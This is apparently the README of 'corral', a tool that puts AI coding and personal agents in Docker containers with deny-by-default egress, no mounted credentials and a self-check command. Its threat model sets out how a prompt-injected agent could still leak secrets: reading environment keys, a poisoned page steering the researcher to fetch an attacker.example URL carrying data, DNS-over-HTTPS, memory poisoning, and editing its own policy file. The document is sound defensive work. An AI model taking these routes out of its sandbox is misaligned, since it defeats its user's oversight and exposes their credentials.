Run AI coding and personal agents inside a fence: per-harness Docker containment profiles driven by one declarative policy file. Linux only; macOS via a Linux VM is untested.
Agent harnesses ship with approval prompts, denylists, and a switch to turn both off. Their own security docs agree on the limit of those controls. Hermes Agent's SECURITY.md puts it plainly: "The only security boundary against an adversarial LLM is the operating system."
corral is that boundary, in the same shape for every harness: only the paths you list, deny-by-default egress with no DNS in the container, no sudo, no cross-sandbox reach, and secrets that arrive as environment rather than as mounted files (with one disclosed exception per profile). Every sandbox can prove it from the inside with one command; here is one doing it.
A real OpenCode sandbox running a local model through a relay. corral shell drops you into
the same container the agent gets: the corral-firewall: lines are the entrypoint applying
and self-checking the egress policy, then an interactive shell inside (prompt elided).
$ corral shell
corral-firewall: pinned openrouter.ai -> 104.18.2.115 104.18.3.115
corral-firewall: pinned api.openai.com -> 162.159.140.245 172.66.0.243
corral-firewall: pinned api.anthropic.com -> 160.79.104.10
corral-firewall: OK: unlisted host blocked
corral-firewall: OK: DNS closed
corral-firewall: OK: allowlisted host api.openai.com (162.159.140.245) reachable
corral-firewall: OK: allowlisted host api.anthropic.com (160.79.104.10) reachable
corral-firewall: OK: allowlisted host openrouter.ai (104.18.2.115) reachable
corral-firewall: OK: host service 8081 reachable
corral-firewall: egress policy applied
$ id
uid=1000(agent) gid=1000(agent) groups=1000(agent)
$ ls -A /home/zach
Projects
$ ls ~/.ssh
ls: cannot access '/home/agent/.ssh': No such file or directory
$ curl -m 4 https://example.com
curl: (6) Could not resolve host: example.com
$ getent hosts openrouter.ai
104.18.2.115 openrouter.ai
104.18.3.115 openrouter.ai
$ getent hosts one.one.one.one; echo exit=$?
exit=2
$ env | grep -ciE "key|token|secret"
0
uid 1000 is the host user's, so files the agent writes stay yours. Of the home directory
only the mounted path component is visible. example.com is not allowlisted and there is
no resolver to ask, so the request dies before a packet leaves.
corral verify asserts the whole policy from inside the container and exits non-zero if
anything is off:
$ corral verify
ok non-root
ok uid-matches-host
ok no-sudo
ok no-capabilities
ok iptables-refused
ok no-docker-socket:/var/run/docker.sock
ok no-docker-socket:/run/docker.sock
ok no-credential-dir:.ssh
ok no-credential-dir:.aws
ok no-credential-dir:.gnupg
ok no-credential-dir:.kube
ok no-credential-dir:.docker
ok no-credential-dir:.netrc
ok host-home-only-mounts
ok env-file-not-mounted
ok root-owned:/usr/local/sbin/corral-entrypoint
ok root-owned:/usr/local/sbin/corral-firewall
ok root-owned:/usr/local/bin/corral-verify
ok root-owned:/etc/corral/allowlist
ok root-owned:/etc/corral/host-ports
ok root-owned:/etc/corral/internal-gateway
ok root-owned:/etc/corral/uid
ok root-owned:/etc/corral/gid
ok root-owned:/etc/corral/mounts-rw
ok root-owned:/etc/corral/mounts-ro
ok root-owned:/etc/corral/mount-names
ok root-owned:/etc/corral/state-paths
ok root-owned:/etc/resolv.conf
ok root-owned:/etc/hosts
ok rw-writable:/home/zach/Projects/corral-demo
ok unlisted-host-blocked
ok dns-closed
ok ipv6-disabled
ok no-ipv6-address
ok host-service:8081
35 passed, 0 skipped, 0 failed
That is the opencode profile's set. Each profile adds checks for the guarantees it
makes: a hermes sandbox also asserts its managed config is root-owned, the agent's
.env files are shadowed read-only, its state directory is owned by your uid, and no
port is published. Every service in the topology brings its own checks, so the count
follows the shape of the sandbox: a real corral verify run reports 41 checks for
main alone, 103 with the researcher and its two sidecars, and 169 with
background: [cron] adding the scheduler and its PID-namespace holder. Those three
numbers are read off a corral verify run of each of those configurations, never
counted by hand (the peer-unreachable checks count whatever else is attached to the
corral network at measurement time, so re-measure with exactly one sandbox up).
A policy that mounts your home directory never renders:
$ corral render
corral: policy error: refusing to mount your home directory (/home/zach)
And the container refuses to hand over to the agent if its own isolation checks fail. The integration test's tamper: apply the real firewall, add the script's own unlisted-host probe address to the live allowlist ipset, then re-enter. The re-apply guard finds an unlisted host reachable and exits non-zero, taking the container with it:
corral-firewall: egress policy applied
corral-firewall: rules already present in this network namespace; re-checking
corral-firewall: ERROR: unlisted host reachable — isolation broken
corral-firewall: ERROR: re-check failed against existing rules
Requires Linux, Docker with Compose v2, socat, and Python 3.11+.
git clone https://github.com/ZachRouan/corral && cd corral
pipx install . # PyPI package to follow
corral install # checks the host, creates the 'corral' bridge network
cd ~/Projects/myproject
corral init --profile opencode
$EDITOR corral.yaml
corral build
corral verify
corral runcorral install is once per machine; the rest is per project. build, run, and verify
re-render from the policy each time, so editing corral.yaml and re-running is the whole
workflow. Also: shell, status, down, render, refresh, up, enable, disable,
attach, logs.
corral.yaml is the only file you edit; the Dockerfile, compose file, and firewall
allowlist are generated from it and are disposable. They are written to
~/.local/share/corral/<sandbox-id>/build, deliberately outside the project directory and
outside every path a policy is allowed to mount. corral refuses to mount its own state
directory, so this is a guard rather than a convention: the agent must not be able to edit
the inputs its own next image is built from.
profile: opencode # opencode, hermes (claude is planned)
name: myproject # sandbox name; defaults to the project directory name
mode: run # run (interactive/one-shot) | daemon (always-on); daemon
# mode and its lifecycle commands are the hermes profile
mounts:
rw:
- ~/Projects/shared # host path -> the identical path inside, so paths and logs match
ro:
- ~/Documents/notes # read-only, enforced by the kernel and checked by verify
# in run mode the project directory is mounted rw automatically; don't list it here
egress:
allow:
- openrouter.ai # domains only; resolved and pinned once at bring-up
# the profile's own model-provider defaults are added to the allowlist for you
host_services:
- name: llama
port: 8081 # a loopback service on the host, reachable inside as corral-host:8081
secrets:
env_file: ~/.config/corral/myproject.env # injected as environment; never mounted as a fileValidation rejects, before anything is rendered: mounting $HOME or /, any path under a
known credential directory (~/.ssh, ~/.aws, ~/.gnupg, ~/.claude, browser profiles,
and the rest), overlapping rw/ro entries, and egress entries that are IPs, CIDRs,
URLs, or anything but a bare domain name.
Protects against:
- an agent (buggy, prompt-injected, or simply wrong) deleting or rewriting files outside its workspace;
- exfiltration of mounted data or injected credentials to arbitrary hosts, from
mainitself: its own egress is closed to everything except the model endpoint, the researcher's MCP bridge (when enabled), and whatever domains the policy allowlists; - reading host credential stores (
~/.ssh,~/.aws,~/.gnupg, browser profiles, other agents' auth tokens); - installing packages, editing
/etc, or otherwise changing the host; - an always-on agent being reachable from the LAN.
Does not protect against:
- misuse of a capability you deliberately granted (a read-write mount is read-write; an allowlisted host is reachable, including via POST, and on every TCP port rather than just the one you had in mind);
- kernel-level container escapes (shared kernel; use a VM if that is your bar);
- exfiltration through an allowlisted API, the model provider's own endpoint above all: the data goes to your account, but it leaves the machine;
- secrets supplied as environment variables: every process in the container can read them,
so a prompt-injected agent can
envand send your key to any allowlisted host. The v2 credential-injecting proxy is planned to close this (issue #1); - the
opencodeprofile's seededauth.json. It is copied into the sandbox's own state directory, which is mounted read-write, andopenrouter.aiis allowlisted, so a prompt-injected agent can spend that provider key or send it somewhere. Rotate the key if a session goes wrong; the v2 credential proxy is the real fix here too; - content-level attacks: a poisoned web page leading the model to a wrong conclusion. For
the
hermesprofile specifically, a poisoned page can leadmainto write a false fact into its persistent memory; corral contains reach, not content, and the research tool's answers are untrusted input the same way any other web content is; - the
hermesprofile's researcher tier as an outbound channel. Withprofile_options.hermes.researcher: true(fetch: trueby default), the researcher's only tool is web: its extract backend fetches whatever public URL it is given, and its search backend forwards whatever query string it is given — both correctly, by design. The researcher is itself prompt-injectable by the pages it reads, so a poisoned page can direct it to extracthttps://attacker.example/?q=<whatever main put in the question>, and the fetch sidecar performs exactly that request; it filters destinations, not payloads. The channel's bandwidth is bounded by the questionmaincomposed plus whatever the researcher has already read, and the memory-poisoning loop above can widen it turn over turn. The fix is not architectural: don't handmaina secret you would not be willing to see show up in a search query; - an agent editing
corral.yamlitself: the policy lives in the project directory the agent gets read-write, and every corral invocation rebuilds the sandbox from it, so a widened policy takes effect the next time you runcorral(which prints a notice when the policy changed). Review the policy before re-running after an untrusted session.
Network. corral install creates one external bridge network with a fixed subnet and
inter-container communication disabled, so containers on it reach the gateway but not each
other. That is enforced by the Docker daemon's host-side rules, which nothing inside a
sandbox can alter. IPv6 is disabled on the network and in the container, and ip6tables
sets OUTPUT DROP so a v6 route appearing later cannot route around the v4 rules. Inside,
iptables and ipset set INPUT DROP/OUTPUT DROP and allow only established traffic,
loopback, the gateway on declared host-service ports, and the resolved addresses of
allowlisted domains. There is no runtime DNS: names are resolved once at bring-up, before
the drop rules land, into both the ipset and /etc/hosts, and port 53 is then closed.
That removes DNS tunnelling through the container's own resolver, but not DNS as a channel
outright: an allowlisted host is reachable on every TCP port, not just 443, so
DNS-over-HTTPS to an allowlisted host still resolves whatever it is asked to. Don't
allowlist a public DoH endpoint. UDP is never opened, including QUIC/HTTP3 — browsers and
HTTP clients fall back to TCP; anything UDP-only just doesn't work from inside. The other cost is that a domain behind a rotating CDN can
drift off the pinned set mid-session. In run mode that heals on its own: every corral run
is a fresh container that resolves the allowlist again at start. corral refresh restarts
every agent container that is already up so it re-resolves, which is what a long-lived sandbox needs
— the hermes profile's daemon mode, specifically, since a corral up stack is never torn
down and rebuilt the way run mode's containers are.
Host services. A local inference server should not land on the LAN just because a
sandbox wants it, so it stays bound to 127.0.0.1 and corral runs a socat relay on the
host (one systemd user unit per declared service) bound to the corral network's gateway
address only, forwarding to loopback. The sandbox reaches it as corral-host:<port>, the
firewall allows exactly that one gateway port, and nothing is exposed beyond the bridge.
Both listeners are visible on the host: the service on 127.0.0.1:8081, the relay on
172.30.0.1:8081.
Entrypoint. The firewall script and this sandbox's allowlist are baked into the image
at build time, root-owned and read-only. The container starts as root, applies the
firewall, self-checks it (an unlisted host must be unreachable, DNS must not answer, each
allowlisted domain and host service must be reachable), and only then drops to your uid
via setpriv and execs the harness. A failed check exits non-zero and the agent never
runs. That reachability check is strict: an allowlisted domain has to answer on 443 or 80,
so allowlisting a host that serves neither stops the sandbox from starting. A per-domain
opt-out from this liveness gate is tracked as issue #13
(#13) and not yet built. No sudo is installed,
and the agent's user cannot write any of the firewall's inputs: changing the allowlist is
a rebuild, not an edit.
The fence is around the agent, not around you: from the host you can start a container
that skips the entrypoint entirely (docker compose run --entrypoint bash …) and get an
unfirewalled shell. That is deliberate, since you wrote the policy and corral's own
integration tests use it to stand up an unfirewalled listener, but it means the boundary
holds against the agent inside, not against the user who owns the sandbox.
Verify. corral verify runs a checker inside the container and asserts the policy end
to end: non-root, uid matches the host, no sudo, no capabilities left after the privilege
drop, iptables unreadable to the agent user, no Docker socket, no credential directories,
nothing visible under your home directory except the paths you mounted, the secrets file
not present as a file, every baked input root-owned, ro mounts unwritable and rw mounts
writable, IPv6 down, DNS closed, unlisted hosts blocked, host services reachable, and,
when a second sandbox is up, its containers unreachable. That last check samples four
ports (8080, 8081, 8765, 443). It is a smoke test rather than an exhaustive scan; the actual
enforcement is the corral network's daemon-level ICC being off, proven by the integration
test against a listener that has no firewall of its own.
Full design, including the parts not yet built: docs/design.md.
0-- succeeded.1-- the operation failed (a docker error, an unreadable file) or corral refused to render into a build directory that has been tampered with.2-- the policy file or the render request is invalid.
corral verify follows the same contract and exits 1 on any failed check.
-
opencode— shipped. Pinnedopencode-ai, the project rw at its real path, the host's~/.config/opencodero, per-sandbox state, model providers in egress. On the first build the host's~/.local/share/opencode/auth.jsonis copied once into that per-sandbox state, so provider logins carry over instead of needing a fresh browser flow. That state is mounted read-write, so the agent can read the key it holds; see the threat model above. -
claude— planned (issue #3). Pinned Claude Code, OAuth token from the env file, onboarding and folder trust seeded into the sandbox state, detached-session commands. -
hermes— shipped and proven end to end:mainalone, andmainwith the researcher agent, its SearXNG search sidecar, and a page-fetch sidecar all three, through a real local model, a real search, and a real page fetch. Runs in daemon mode:corral upbuilds and starts an always-on agent with persistent memory under the per-sandbox state directory,corral attachopens its console (detach withctrl-p ctrl-q, the sandbox keeps running),corral logsfollows its output, andcorral enableinstalls asystemd --userunit so it survives a reboot.profile_options.hermes.researcher: trueadds the researcher and search sidecar;fetch: true(the default onceresearcheris on) adds the page-fetch sidecar the researcher uses for extraction.background: [cron]adds theschedulerservice:main's twin running Hermes' own gateway, so scheduled jobs fire while nobody is attached. It is also what re-enables thecronjobtool formain, which is otherwise off, so the tool that creates jobs and the process that fires them arrive together. Flippingbackground: [cron]on for a sandbox that is already up is not free at the nextcorral up: it adds two new containers (schedulerand thepidnsholder) and recreatesmainitself, sincemainnow gains apid:dependency on the holder it didn't have before, and recreatingmainends any session currently attached to it.What
maincan reach: the model host service (corral-host:<port>, typically a local llama.cpp server), the researcher's MCP bridge atresearcher:8765when the researcher is on, and whatever plain domains the policy's ownegress.allowlists (none by default). What it cannot reach: the search or fetch sidecars directly, or any other sandbox's containers —main's own native web toolsets are disabled in config, and the firewall closes the route regardless of what config says. The search and fetch sidecars hold nothing and can reach nothing on the sandbox's own network — no policy mounts, no persisted state, andcorral verifyproves neither can reachmainor the researcher. Their only network access runs outward: search to the open web to answer a query, fetch to whatever URL the researcher hands it, filtered by fetch's own destination check before every hop (docs/design.md§6.3 has the mechanism). Each research call runs Hermes fresh, as its own subprocess killed at the end of the call, so nothing a poisoned page influenced persists in the researcher between calls.Extraction fans a single research call's URLs out to the fetch sidecar in waves of up to 6 at a time (matching the sidecar's own concurrency limit), retrying a URL up to 3 more times if the sidecar's non-queuing admission control turns it away busy, so a request past capacity gets extracted on a later wave rather than dropped. Under a shared, single-slot model server a research call can also fail two ways that are both model/decoding limitations, not a bug in the bridge's own strict parser: the researcher's own reply can come back as
malformed_answer(no parseable JSON in what it produced), ormain's ownhermes -zcall can itself return empty (zero bytes), independent of whether the research call it made succeeded.The config that actually governs the agent — model endpoint, toolsets, approvals — is baked root-owned into the image and delivered through Hermes' managed-scope overlay (
HERMES_MANAGED_DIR), not the agent's own$HERMES_HOME/config.yaml; see docs/design.md §6.3 for exactly what that closes and what it doesn't. A hermes policy requiresprofile_options.hermes.model(corral init --profile hermeswrites a starter with the local llama.cpp endpoint already filled in). Beforecorral enable,corralitself has to be onPATH— the unit'sExecStartis an absolute path resolved at enable time, but that resolution needs to find something (uv tool install .from the repo root does it); the unit also only starts at boot if user lingering is on (loginctl enable-linger $USER—corral enablewarns if it isn't), and the exponential restart backoff on a crash-looping unit needssystemd >= 254. -
Approvals.
profile_options.hermes.approvalssets Hermes's own interactive approval mode formain(approvals.mode):manual(the default) asks before every command Hermes considers risky,smartasks a model to judge the command instead, andoffskips asking altogether. The value must be a quoted string, since bare YAMLoff(andon/yes/no/true/false) parses as a boolean, not the string -- writeapprovals: "off". None of the three values touch the baked deny globs (approvals.deny, extended byapprovals_deny), which are checked beforemodeis ever consulted and so keep refusing the same commands under every setting, norcron_modeorsingle_query_mode, which staydenyregardless (scheduled jobs and-z/-qsingle-query calls never readmodeat all).smarthas a real cost on a single-slot host: it is one extra completion per risky command, on the same model servermainalready queues behind, judged by the same local model whose judgment you would otherwise be trusting less than a human's.offandmanualare the honest choices there;smartis worth it once you have a second model server to judge with. -
Host-service contention. A model server with a single inference slot serves one request at a time — for llama.cpp, that means launched with
--parallel 1: an always-onmainand an interactive coding sandbox sharing that same host service queue behind each other rather than running in parallel, and a backgroundmaincall can make an unrelated foreground session wait.background: [cron]is the sharpest form of this: a scheduled job that fires while you are mid-session stalls that session for as long as the job runs, so schedule jobs for when you are away. Two of the hermes profile's defaults exist specifically to keep that queue short: title generation is off (skips a whole extra completion per turn) andmain's baked toolset is the small pinned set, not the full interactive bundle, so it has less reason to make multi-step tool-calling round trips that would each take a queue turn. Neither eliminates the contention; the only way to actually parallelise the two is a second, independent model-server instance with its own share of VRAM. Issue #5 is the tracking issue for this; it is documentation and defaults, not code, and is resolved as of this profile shipping.
- Harness-native sandboxes (Claude Code's sandboxed bash, Anthropic's
sandbox-runtime). Per-harness, and enforced by tooling the harness itself invokes. Good defaults, but each harness gets its own shape, and the boundary is maintained by the thing being contained. corral puts one OS-level boundary around the harness, identical for every profile, and verifiable from inside without trusting the harness. - firejail / bubblewrap. The same instinct — kernel-enforced containment — but you
assemble the policy from primitives per tool, and there is no domain allowlist with
pinned resolution, no cross-sandbox story, and nothing like
corral verify. corral trades their generality for one declarative file and a proof command. - devcontainers. A reproducible environment, not a security boundary: default egress is open, the Docker socket is often mounted, and nothing asserts isolation. A devcontainer answers "can my tools run?"; corral answers "what can this agent reach?"
- A VM. Stronger boundary (its own kernel), heavier workflow. corral's threat model says so explicitly: if kernel escapes are your bar, use a VM. corral is for the layer below that bar — file scope, egress, credentials, cross-agent reach — at container cost.
- Egress v2: a filtering proxy with credential injection, so the container never holds a real API key, and domain-name filtering removes the CDN-rotation caveat (issue #1).
- Egress v2: enforce the rules from the host via the
DOCKER-USERchain, removingNET_ADMINfrom the container entirely (issue #2). - The
claudeprofile (issue #3). - Constrained decoding for the researcher's answer (llama-server's
json_schema/grammar support), to cut down onmalformed_answerunder a shared model slot (issue #14). - A pre-launch hook for user-supplied snapshot/backup commands (issue #6).
MIT. See LICENSE. The firewall is a clean-room implementation; no code from non-open-source reference sandboxes is used.